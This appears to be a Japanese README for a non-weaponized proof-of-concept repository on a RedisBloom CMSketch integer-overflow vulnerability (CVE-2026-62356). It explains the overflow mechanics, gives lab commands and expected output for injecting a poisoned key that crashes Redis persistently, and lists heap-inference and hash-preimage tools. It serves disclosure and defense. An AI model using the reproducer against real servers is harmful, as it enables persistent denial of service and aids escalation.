
RedisBloom CMSketch RDB読み込み時の整数オーバーフロー(CVE-2026-62356) — 非兵器化PoC:決定論的なクラッシュ/DoS再現ツール、分析およびバージョンマトリクス
RedisBloom の Count-Min Sketch (CMSketch) RDB デシリアライズ経路における整数オーバーフローの脆弱性です。認証済みの Redis クライアントが、宣言された次元が期待バッファ長の計算をオーバーフローさせるように細工された CMSketch オブジェクトを (RESTORE または細工された RDB ファイル経由で) ロードすると、過小なヒープバッファが受け入れられてしまいます。その後の CMS コマンド (CMS.QUERY / CMS.INCRBY / CMS.INFO) は範囲外のインデックスにアクセスします。最低でもクラッシュ (DoS) となり、上流のアドバイザリによれば、Redis サーバプロセスのコンテキストでリモートコード実行に至る可能性があります。
このリポジトリには非兵器化された概念実証が含まれています。決定的なクラッシュ/DoS 再現ツールと、それを補助する分析ツールです。動作する RCE エクスプロイトチェーンは含まれていません。
| CVE | CVE-2026-62356 |
| GHSA | GHSA-q5p6-hwxh-c23h |
| 報告者 (上流へ) | josephsurin |
| CWE | CWE-190 (整数オーバーフロー)、CWE-787 (範囲外書き込み) |
| 公開日 | 2026-08-17 |
| CVSS | High (CVSS:4.0 AV:A/AC:H/PR:L/…) |
影響を受けるバージョン (上流のアドバイザリによる): Redis OSS 8.0.0–8.0.8、8.2.0–8.2.15、8.4.0–8.4.8、8.6.0–8.6.5、8.8.0–8.8.1、8.10.0、RedisBloom 2.0.0–2.8.23。 修正済み: Redis 8.8.2 / RedisBloom 2.8.24 (および対応するバックポート)。
このリポジトリは独立した再現です。発見と責任ある開示の功績は、上記の上流報告者に帰属します。
CMSRdbLoad は攻撃者が制御する width / depth をシリアライズされたオブジェクトから読み取り、期待される配列長を 64 ビット演算で 4 * width * depth として計算しますが、オーバーフローチェックがありません。ペイロード長のチェックはこのラップした積と比較されるため、次元によって積がラップするペイロード (例: width = depth = 2^32 → 積 = 2^66 mod 2^64 = 0) は、空または過小な配列バッファで検証を通過しますが、メモリ上のスケッチは巨大な宣言次元を保持したままになります。
以降のすべてのセルアクセスは次のとおりです:
loc = (MurmurHash2(item, seed = row) % width) + row * width;
array[loc] ... // array is the undersized buffer; loc is huge
そのため、どの CMS コマンドも array + 4*loc を逆参照します。これは攻撃者が影響を与えうるオフセットでの範囲外アクセスです(ハッシュはオフラインで計算可能で、既知のシードを用いた MurmurHash2 です)。完全な分析は docs/ANALYSIS.md にあります。
環境: Docker、任意のホストプラットフォーム(ARM Mac では --platform linux/amd64 を使用)。
# 1) start a vulnerable lab (redis:8.8.1, bundled pre-fix RedisBloom, port 6381)
bash poc/setup_lab.sh
# 2) inject the poisoned CMSketch object and trigger the crash
python3 poc/cms_overflow_crash.py --port 6381
# -> CMS.QUERY gets no reply; subsequent PING fails: SIGSEGV confirmed
# -> server log shows "Accessing address: 0x..." inside CMS_Query/CMS_IncrBy
# 3) (optional) verify persistence: poisoned key survives restart via RDB
docker restart cve-2026-62356-lab
# any CMS.QUERY on the key crashes the server again — persistent DoS
# 4) cleanup / recover
python3 poc/cms_overflow_crash.py --port 6381 --cleanup
期待される出力 (ステップ 2):
[*] sanitize-dump-payload: +OK
[*] injecting poisoned CMS key (width=depth=2^32, array=NULL)...
[*] RESTORE -> +OK
[*] predicted fault address (depth=1): 0x...
[*] triggering via CMS.QUERY ...
[*] CMS.QUERY -> (no reply / crashed)
[*] PING -> (no reply / crashed)
poc/
setup_lab.sh start a pinned vulnerable redis:8.8.1 container
cms_overflow_crash.py crash/DoS reproducer (inject + trigger + cleanup)
cmslib.py shared RESP client / payload builder helpers
leak_base.py analysis tool: crash-free heap-layout inference (read-only)
mkwin2.c analysis tool: MurmurHash2 preimage table generator (offline)
mm2_preimage.c analysis tool: single-hash MurmurHash2 preimage solver (offline)
docs/
ANALYSIS.md detailed vulnerability analysis (English)
RESTORE、MIGRATE、DEBUG、および RDB ファイルの取り込みを信頼できるユーザーに制限してください。シリアライズされたデータのインポート経路(レプリケーション、--rdb プリロード、バックアップからの復元)はすべて同等に機密性が高いものとして扱ってください。このリポジトリは、運用者が脆弱性を理解し、検出し、修正できるよう支援するため、教育および防御的研究目的のみで公開されています。
発見および開示のクレジット: josephsurin(上流の報告者)。このリポジトリにおける再現および分析は独立した作業です。